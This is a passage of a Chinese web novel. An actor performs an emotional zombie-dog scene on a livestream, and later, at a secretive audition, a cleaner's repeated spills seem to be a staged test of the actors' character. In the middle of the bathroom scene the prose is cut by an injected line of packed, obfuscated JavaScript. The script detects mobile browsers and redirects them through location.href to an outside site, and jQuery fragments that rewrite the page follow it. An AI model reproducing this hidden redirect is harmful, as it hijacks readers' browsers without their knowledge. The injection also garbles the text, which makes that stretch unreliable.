如果说这部《全球危机》里的主角核心情绪是末日之下的恐慌，对家人的牵挂，成为在末日中支撑行动的唯一信念，那么这只丧尸犬则是身躯异化后的本能，与对主人的原始忠诚，形成矛盾与冲击。


    这就跟飞蛾扑火一般，明知无望，还要执着向前，将那点危险的光火，当成生命的救赎，一遍遍不停调整姿势，直到化成小小的灰烬，也恪守这场奔赴。


    狗的世界极为纯粹，只要给它一个小小的地方，一只铁盆，它就会把主人当成生命里的全部。它的世界很小也很短暂，短暂到它在有限的生命里，会用所有时间记住你的好，摇着尾巴等待主人开门时的那一句‘我回来了’。


    整理好思路后，江叙白开始投入沉浸式表演。


    末日里的天气，变得十分无常，明明本该寒冷的冬日，猛烈的太阳却能把地面烤得发焦。


    空气中，汽油味道十分明显，混淆着如同坏鸡蛋和死老鼠在下水道内，发酵出的腐朽恶臭。


    在‘它’的眼里，世界是一团团模糊的斑块，无尽的公路是一片晃眼的白，加油站是暗沉的灰，只有爪子下，那枚看不出原本颜色的宠物牌上，主人留下的气息日渐稀薄。


    此刻，‘它’的状态不太好，除了半脱框的眼球，露出森白的头骨，腰杆以下似乎被什么东西啃食过，流出黑红粘稠的血液。


    可即便如此，‘它’还是挣扎着用前肢爬向那只充满污秽的垫子，对‘它’来说那就是家，是主人给‘它’留的窝，一路都是那道被拖成长长的血痕。


    前爪死死抠在路面上，终于蹭到窝旁，‘它’用尽最后一丝力气，将上半身埋进去，就像是和主人玩闹时，被紧紧抱在怀里那样。


    公路的尽头还是那样苍白，‘它’将脑袋搭在爪子上，和往常一样盯着那条公路，风里没有主人的气息，只有无尽的腐朽，可‘它’还是死死盯着，就像是末日爆发时，主人和‘它’说的那句——‘别乱跑，我出去一下，等会就回来’，声音暖暖的，像是午后晒的太阳。


    眼前的灰色逐渐变成黑色，身体不疼了，风里似乎传来主人的气息，带着淡淡的汽油味，温暖的抚着‘它’的脑袋。终于不用再爬了，‘它’会在这里等主人回来接‘它’。


    等朴智勋和同伴再次到来时，加油站前停靠着两辆小车，车门大敞，车身有明显抓挠痕迹。


    “有人来过。”朴智勋手里紧握着一把消防斧，警戒地观察四周。


    距离上一次到这里，已经过了四个月，当时加油站前面还没有这两辆车，很显然是有人在他们之后来过这里，却又不知道什么原因弃车离开。


    可能是车子出现故障，但更多的可能是车子的主人无法再回来。


    “注意戒备。”郑书妍皱着眉头说道。


    随着末日时间推移，有些丧尸竟也出现了些许智慧，知道潜伏在阴暗角落袭击。


    话声刚落，郑书妍的脚步微微一顿，视线停留在便利店门前的破烂垫子上，那里蜷缩着一只只剩下半截的丧尸犬，它身上脏乱打结的毛发变得干枯暗沉，紧紧地贴在身上。


    在四月前，他们曾见过这只丧尸犬，脖子上挂着一枚看不出原本颜色的宠物牌，如今合不上的那只干瘪的眼睛，依旧紧紧盯着公路尽头方向，蒙上了一层灰，彻底失去了光泽。


    “它竟然还一直在这里等着。”郑书妍声音有些细微颤抖，她捡起那只被压扁的碗盆，将它放在狗窝旁，上面的牙印清晰可见。


    朴智勋声音有些沉闷：“它也算完成了自己的任务。”


    直到死亡，还依然等待那个永远无法再回来的主人，用生命画下完整的句号。


    “如果执念能够让人保持神智，说不定……”郑书妍话没说完，朴智勋也理解她的话中含义。


    他垂眸看着那只无法被合上的眼睛：“至少它在被感染异化后，还保留着那份执念，没有被病毒彻底吞噬，它还是那只等着主人的狗。”


    这也能说明，被丧尸病毒感染异化后，并非不可逆转。


    ……


    ——啪啪啪——


    小何一手拿着手机直播，一手拍大腿以示自己的震撼：“江哥你就是这个，”他拍完腿，竖起大拇指：“牛逼！”


    摄影师也回过神，有些触景伤情：“这让我想起我小时候养的一只大黄狗，它很听话，会接我放学，会在遇到大公鸡袭击时出来保护我，还会做恭喜发财的动作。”


    说到这里他咬牙切齿，带着难过和几分恨意：“但是最后被那些偷狗的给拖死了，要不是邻居看到制止，恐怕还会更惨，可惜也没能够救回来。”


    小何拍了拍他的肩膀，以示安慰：“兄弟，别难过，它还在汪星球等着你，”他比较重视的是这点：“当时报警了吗？”


    摄影师点头：“赔了一点钱，可那怎么能一样？它可是我的童年玩伴！老，”他应该是想说脏话，想到还在直播，又改了口：“老子和孔子说过，我最恨那些偷狗的了！”


    直播间里，网友们的评论刷得飞起。


    【80岁纯情老太：我小时候养的那只也是这样，因为没有监控，最后不了了之】


    【不到九十不改名：别说了，等会有些人又会说什么爱狗人士】


    【上汇彬：想不要被人说，首先看看自己有没有遛狗时拴绳，有没有处理宠物粪便，有没有给别人带来噪音影响，有没有文明养动物！】


    【囧囧：死得好，这就是不文明养狗的后果！上次楼下有个养狗的，自己觉得狗吵，就拴在外面，一有风吹草动就叫唤个不停，从半夜叫到早上，吵得老子神经衰弱，我的损失谁来赔？还有小区的那些流浪狗，见车就追着咬，咬人的时候，你们这些爱狗人士怎么不见出来帮忙赔偿？】


    【疯狂龘：附议楼上，我最讨厌的就是那些泰迪，见人见物就骑，最讨厌的物种没有之一！还有我的车，被标记了轮胎，我的损失又有谁来承担？那些爱狗人士在关键时候，怎么隐身了？】


    【reio：养宠物的前提是文明饲养，失责的是主人，并非宠物，望周知！】


    【肥肥：我比较在意的是江叙白居然真的有演技，所以他为什么以前演成那种鬼样子？这对我们的眼睛尊重吗？】


    【天上的鲲鲲向北斗哇：这难道就是传说中的醍醐灌顶？灵窍初开？】


    【喷我的都是蛆：白月光有福了】


    ‘白月光’是大众认知被置换后，粉丝自己给这个粉丝群体起的名字，因为他名字有‘白’，加上原身毫无演技，但胜在长相出色，寓意美好难忘，却又因为业务不熟，只能存活在粉丝心中的白月光，不能深沉挖掘，不能靠近的自我调侃含义。


    小何一直在关注直播间，见网友讨论有关争议话题，连忙转移话题：“距离开奖还有十三分，没有参与抽奖的家人们，记得抓紧时间，不要错过手机和洗衣机大奖啊！”


    说完，他主动发起话题：“江哥，很多网友都在关心你，为什么突然间就有了演技，能否给大家，还有我解开这个疑惑吗？”


    “有时候找准方向比一昧莽干重要，”江叙白用湿巾仔细擦着指缝：“方向错误会导致目标脱节。”


    小何：“……”


    他努力理解江叙白的意思，分析道：“所以，江哥你的意思是之前都努力错了方向？能告诉我们，你是这样重新找到方向吗？这个方向有没有具体一点的说法？”


    江叙白擦了半天，还是觉得手上布满了微生物，他站起身看向小何：“也不能完全是这样，但至少现在的改进对我来说有明显效果。”


    “使我重新找到正确方向的原因是，比平时看更多更广泛的书，加上老师们对症下药的悉心教学，以及平时的多加练习，这才有如今的成果。当然，我在演绎方面还有很多不足，需要更用心学习。”


    他从不吝啬对自己的夸赞，也不隐藏自己的缺点，因为这是客观事实。


    洗了个手，回来时，小何已经在和直播间观众们激情互动。


    “让我来康康是哪个幸运儿抽中了？恭喜哈基米、你干甚去了、傲娇、歪歪、臭喵日记……太多名字，我就不一一念了。大家自己看一下消息提示，还有这几天的物流消息，我们将会在明天开始将奖品发出，收到奖品的家人们，记得来咱们账号底下反馈使用体验，我们会努力做到有则改之，无则加勉。”


    “没有抽到的家人们也不用失望，因为接下来我们还有八十八台洗衣机，等着放送！没关注的抓紧关注，后面我会努力抽出时间给大家分享江哥的日常……”


    小何的话十分的官方客套，但奖品在前，直播间的网友们可不在乎这点，能够有可能免费抽到价值几千元的礼物，这对他们来说可谓是激动非常，但也是人之常情，不是每个人都能做到财富自由。


    等第二次抽奖完毕，江叙白又陪着小何闲聊了几句，随后便结束了这场直播。


    半个月后，试镜时间也随之到来，江叙白也暂时停止了课程。


    试镜地点位于徐宁市的一座大厦中，这里距离影视基地不远，为了迎合这些剧组，周边相继衍生出给剧组试镜的专门场所。


    这是一个非常宽敞的场地，有试镜资格的演员、素人已经在按号排队。


    试镜室有很多，多达数十间，隔音做得很好，门一关上，基本听不到里边的动静，只有排在前面的试选人满心焦心地翘首以盼，或是给自己做好心理准备。


    按正常试镜流程，试镜人员会根据剧组发布的角色信息，做好角色服装造型和练习准备，但这部剧的剧组十分神秘，没有透露任何角色信息，甚至连剧本题材都无从知晓，这非常考验试镜人员的临场发挥能力，以及平时的演技功底。


    在这里，能看到平时出现在节目中的小花和小生，知名演员，乃至影帝影后，当然也有剧组专门给电影学校留出名额的素人学生。


    “我的天，那是唐荔唐老师吧？她居然也来了！”


    唐荔是有名的老戏骨前辈，她曾经是一名戏剧演员，后来在国家文艺事业上做出卓越贡献，被□□评选为国家一级演员。


    这项荣誉不单单只指专业能力和文化贡献，还要考虑当事人的社会影响，道德品质上，可以说能够得到这项荣誉的人，基本都经过国家的考验，获得高度认可。


    “不光是唐老师，你看那边，马老师、龚老师、黄老师都在，”和同伴说话的人紧张得深呼吸：“这么多前辈，我们该不会沦为分母吧……”


    在旁人小声说话时，江叙白找了个地方，坐到小何提前准备的小马扎上，距离他的试镜，前面还有三十来个人，按十多分钟一个人的时间来看，起码还要很久才会轮到他，这个时间用来做人物情绪动作心理观摩，也不算平白浪费时间。


    可能是为了保密工作，剧组雇佣的安保人员做的十分严密，无邀请不可进，所以小何也只能等在外头。


    “那是江老师？”和温屿、林默同在一个公司的艺人瞧了眼，看向温屿：“咱们要过去打声招呼吗？”


    他们三个人前不久才刚参加同一档综艺，怎么说也算是‘熟人’，不管私底下相处得如何，情面上至少得看得过去。


    温屿：“……”


    草了，他知道江叙白会过来，但为了不想看到这个人，所以才有意晚了一点，谁知道这家伙居然还在！


    这真是……不是冤家不聚头！


    温屿想起出发之前经纪人耳提面命让他收敛脾气，扭转他在大众心里‘挑事的小丑’形象，顿时有些心不甘情不愿，但林默可就没有这方面的顾虑。


    因为之前狗仔队在厕所里偷拍的事，江叙白那边经纪人为了永绝后患，给他送了一些打工‘名额’，让他在起诉时出面作证，在他看来，长了脑子后不搞事的江叙白，就是他送钱的财神爷，见到财神爷哪能不主动？更别提江叙白还在投毒案件中帮助过他。


    江叙白是个极为敏锐的人，在林默等人过来时，就看向他们，虽然没有说话，但眼神意味十分明显。


    有事？


    温屿：“……”


    所以说，他讨厌江叙白不是没有原因！他都主动给台阶了，江叙白居然还如此不给面子！整得他热脸贴别人屁.股似的，到底在装什么！？


    温屿心里憋着气，冷着脸没有出声，倒是林默说道：“我看过你的直播，进步神速。”


    确实是神速，简直像开了外挂。


    江叙白面不改色接受这份夸赞：“学习使人进步。”


    林默：“……”


    林默默默地盯着江叙白的脸皮，心中赞叹他的这份厚脸皮。


    见惯了娱乐圈里的虚伪和商业互夸，像江叙白这样坦诚且不要脸的人，很是少见了。


    “你都看什么书？”林默并不是在没话找话，他十分关心这个问题。


    他很好奇，究竟是什么书，能够让人进步如此神速？他能不能借鉴一下。


    林默的演技在新人艺人当中，算是非常有天赋还努力，他能从江叙白在直播间完成的那些‘作业’里，明白潜在本质含义，但光是这些还无法做到短短时间内进步神速，所以真相或许出现在这些书籍上。


    江叙白也没打算藏着掖着，跟点菜似的一连串报了一堆的书籍名字，林默这边还在默默记下且沉思，温屿那边就有点细思恐极了。


    他和之前的小彤老师一样，第一个想到的就是——这家伙该不会有什么反社会人格吧！


    这个念头刚升起，随后温屿就看到江叙白唇边有几厘米的上扬弧度，顿时很快就反应过来，江叙白是故意的！


    他就是故意说这些容易让人误会的话，然后欣赏别人的反应，就跟看猴似的！


    温屿当场一个怒从心头起，旁边的同公司艺人察觉到他的怒意，连忙打断他的施法：“那什么，我想去厕所，你们要去吗？”他有理有据：“提前解决生理需求，省得等会试镜的时候出岔子。”


    温屿没有察觉这个刻意的行为，施法被打断，他十分克制地翻了个白眼：“庸俗！屎尿屁难登大雅之堂！”


    看得出他们的交情还算挺好，听到这话，那人也没生气，反击回道：“是是是，你不庸俗，你不用拉屎撒尿放屁，你就是那吃仙气的神仙！”


    说着，他也没有冷落江叙白的意思：“一起？”


    江叙白：“……”


    这还是有人第一次约他组队上厕所，怎么说呢，有种像读书时代，男女同学会跟关系好的朋友一起上厕所的场景，可惜他没体验过。


    对于从未尝试过的事物，江叙白非常有兴致，哪怕只是一起上个厕所。


    他降尊屈贵般地颔首。


    温屿：“……”


    啊，他到底在装个什么？只是上个厕所而已啊！


    可能是考虑到人流量会很大，这里的卫生间很大，男士卫生间分为隔间和小便池，还悉心地在小便池旁边坐了简单的格挡，在某方面程度上保护好个人隐私。


    解决完生理需求和洗手后，江叙白看到林默站在外面等着，想了想也打算参与这种，如同小学生一起上厕所的小团体活动。


    “你怎么做事的？都弄到我身上了！”


    顺着声音看去，江叙白和林默看到一位艺人似乎在和保洁争执什么，旁边的艺人正在劝说。


    仔细观察后，应该是保洁员整理洗手池时，不小心将水飞溅到那人身上，而原本干净洁白的衬衣上，出现了几点极为明显的水迹，湿哒哒黏着一大块，这对等会就要试镜的艺人来说，形象方面不是很友好，加上心理压力太大，所以才会有这个场景。


    保洁员有些手足无措地道歉，还主动掏出纸巾想做弥补：“对不起，对不起，我不是故意的，你别生气，对不起。”


    那人有些没好气地挥开他的手：“要是道歉有用的话，那还要警察来做什么？”


    他也没打算索要赔偿，只是有些火大，想要发泄一下而已。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483170|181454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁边的艺人看了一眼这人胸口前的号码，有些同情，因为等会就轮到这人试镜，小声劝道：“先擦干吧。”


    其他人也跟着劝说：“他也不是故意的，你还是先擦干，看看能不能弄干。”


    这人也知道现在场合不对，只能讶异心中怒火，却还是很气恼：“你可小心点吧！不是每个人都有我这样的好脾气！”


    话声刚落，保洁员可能是想要从水池上拿下正在接水的水桶，可失手之下居然不慎打翻。


    这下子，在场之人无人能逃，特别是挨得最近的刚才那个倒霉的艺人，直接喜提湿身，其他人不是裤子湿了一大片，就是脸上溅到水珠。


    刚出来就被溅了一身水的温屿：“……”


    有句话说得好，人无法感同身受，除非被针扎的人是自己。


    这回谁都无法再说出体谅的话，此时那个倒霉的艺人爆发出尖锐的鸣叫，也没人指责他不通情达理。


    他是怎么做的事！？


    所有人心中齐齐闪过这个想法。


    众人慌乱地擦着身上的水迹，可这桶水威力十分大，里边还放着用来除味的蓝色洗涤剂，特别是那些穿着白色衣服的人，身上蓝白一片，看起来狼狈至极。


    “你是不是有病啊？这把年纪还出来工作，这不是害人吗？”这是性格十分暴躁的人的怒言。


    “真是害死个人，我也真是倒霉，怎么掐着这个点上厕所！”


    “啊啊啊我完蛋了，本来就紧张，现在还遇到这种事，形象肯定不过关……”


    “好气哦！今天出门没看黄历……”


    众人七嘴八舌地哀嚎埋怨着，那些言语过激的人也并非盲目发泄，因为剧组临时工作人员都穿着统一服饰，戴着工作牌，并不会出现那种导演伪装考验人的狗血戏剧性场景出现。


    保洁员脸色也被吓得惨白，他手忙脚乱地捡起水桶，朝众人弯腰：“对不起，我真的不是故意的，对不起！”


    这回没有人能够轻易地说没关系，因为心里确实很气，再大度可在这种时候，可不是一句轻飘飘的道歉就能揭过去，但是好像不原谅也没有其他什么办法。


    他们这些人中，有些是已经在圈内斩头露角的艺人，有的是打算进军娱乐圈的素人，不可能不在乎名声，此时愤怒也无济于事，只会为以后留下污点。


    心中憋着气，说出来的话也显得有些硬邦邦：“你先别弄了，等会别……”


    仿佛是为了响应这人的话，保洁一个脚滑，在充满泡沫的瓷砖上展示他的‘踢踏舞’，溅起的水珠又将周围人再度多出水痕。


    其他人：“……”


    温屿虽然是歌手出道，但也有舞蹈功底，加上演戏需要的加强武术功底，他的平衡能力非常好。


    只见他将人胳膊轻轻一架，把对方直接半提半拉，成功远离事故现场。


    “你可别再杵着，万一再来一个小事故，到时候可就不是几句道歉能够解决！”温屿松开手，脸上满是晦气，但他的余光却依然在对方身上，像是担心事故重演。


    确认保洁员站稳，远离事故易发地点，他这才垂下头看了看身上的衣服，拧着眉将衣角拧出水。


    “草，真是够倒霉！”


    同行的艺人刚出来，有些诧异：“你们这是……”他目光在众人扫了一圈，语气带着微微上扬的弧度：“打水仗？”


    温屿本身就不是个性格温和的人，但又因为身份和形象，只能正压低声，喋喋不休地骂着。


    “草，你才打水仗！老子这是命犯太岁！”说着，他看到身手敏捷闪避，如今一尘不染的江叙白，心中更觉晦气。


    同伴眼皮子一抽：“注意用词啊！咱们都是文明人，再生气也不能爆粗口，担心回去挨骂。”


    他们搁那碎碎念，一旁的林默倒是有些若有所思。


    他压低声，隐晦地看了一眼准备收拾烂摊子的保洁，确认对方无法听到，这才小声问道：“你也发现了吧？”


    这话与其说是疑问，倒不如说是肯定。


    江叙白看了他一眼，没有说话，从他展现出演技起，林默倒起了良性竞争攀比的心理。


    “如果说第一次是不小心，那么第二次打翻有点过于刻意了，更别说是最后那场踢踏舞。”


    同伴这时候已经了解事情经过，听到林默这么说，他有些难以置信：“你说他是故意的？”


    人心居然黑暗到如此地步？


    难道是哪个同行想要利用不正当手段，淘汰大部分竞争对手，花钱雇佣？


    林默既没有肯定，但也没有否定，只是接着分析：“我当临时工的时候，也当过保洁，他的那双鞋子是正规保洁才会有的，是橡胶防滑设计。”


    保洁员需要拖地的地方很多，如果专业设备上有疏漏，出现意外事故，雇佣方岂不是得亏死？


    同伴有些半信半疑：“说不定真的只是脚滑呢？”


    如果真是同行恶意竞争的手段，那只能说这个行业真的太脏了，比起人性丑恶，他更愿意往失手来看待。


    林默对他的话，并未发表看点，伸出手给其他人展示：“你们看我的手，再看他的手。”


    因为经常到处打工，即便有补救措施，可林默的手掌也镀上一层薄薄的茧，而那位保洁员不经意露出来的手掌，却是指甲平整，没有半点的茧子，按正常需要干活的保洁员来说，这根本不现实。


    可问题是，对方除了那几个意外，其他方面表现得就是一位犯错之后，底层工作人员才会有的反应，那慌乱的神色，几欲快哭出来的样子，根本不像作假，不然温屿也不会耐着性子将人拎到一旁。


    该不会真是小说里才会出现的俗套场景——剧方在考验演员的人品？


    这么想着，同伴默默将视线转到温屿身上，重重拍着他的肩膀：“兄弟，苟富贵，勿相忘！”


    从刚才现场的反应来看，也只有温屿表现得比较合格。


    温屿：“……”


    他轻啧了一声：“草了，老子居然演的是女主角戏份？”


    林默没有在意温屿的话，他注意力全在江叙白这里：“我还有没有其他没发现的地方？”


    江叙白非常慷慨地分享线索：“除了这些，地面上的墙角的印记也是其中之一。你们要知道，在这种人流量过大的场所，明显事故多发地，不会不设置防滑地毯，特别是卫生间这里水迹很多的地方。”


    除非这里的老板有钱任性，可以赔付很多款项。


    众人顺着他的话看去，挨着墙角的地面，确实有一道地毯长期挤压地面形成的痕迹。


    “第二点，他穿白色的袜子。一般来说，从事容易脏污的工作，大多数人更倾向深色系，这是因为能够避免明显的污渍，而且保持公司对底下员工的群体外在形象。”


    比如他以前的公司，对形象要求就很严格，除了工作服一季四换之外，员工的袜子也对此有相关要求。不然有人穿着蕾丝边袜子，踩着高跟鞋，亦或是大红袜子配皮鞋，岂不是很影响公司整体形象？


    温屿其实都有些信服了，但还是嘴硬：“万一人家只是单纯喜欢穿白色袜子呢？”像是在强调什么，他加重语气：“每个人的喜好各不相同，这点并不能完全说明！”


    江叙白轻瞥了他一眼：“他用的纸是云绒纪经典款。”


    温屿：“？？？”


    林默也沉默了一瞬，虽然没说话，可表现得十分明显。


    云绒纪？是哪个品牌的产品？怪他们太过贫穷，缺乏对有钱人的认知。


    江叙白：“……”


    江叙白对他们的贫穷感到震撼，耐心解释：“云绒纪被喻为‘皇室御用纸’，一抽大概在几千到几万元不等，他的这一小包价值一千九百九十九，有超强吸水效果。”


    温屿：“……”


    林默：“……”


    是他们没见识了，这纸巾难道是神仙材质？居然这么一小包就要将近两千！？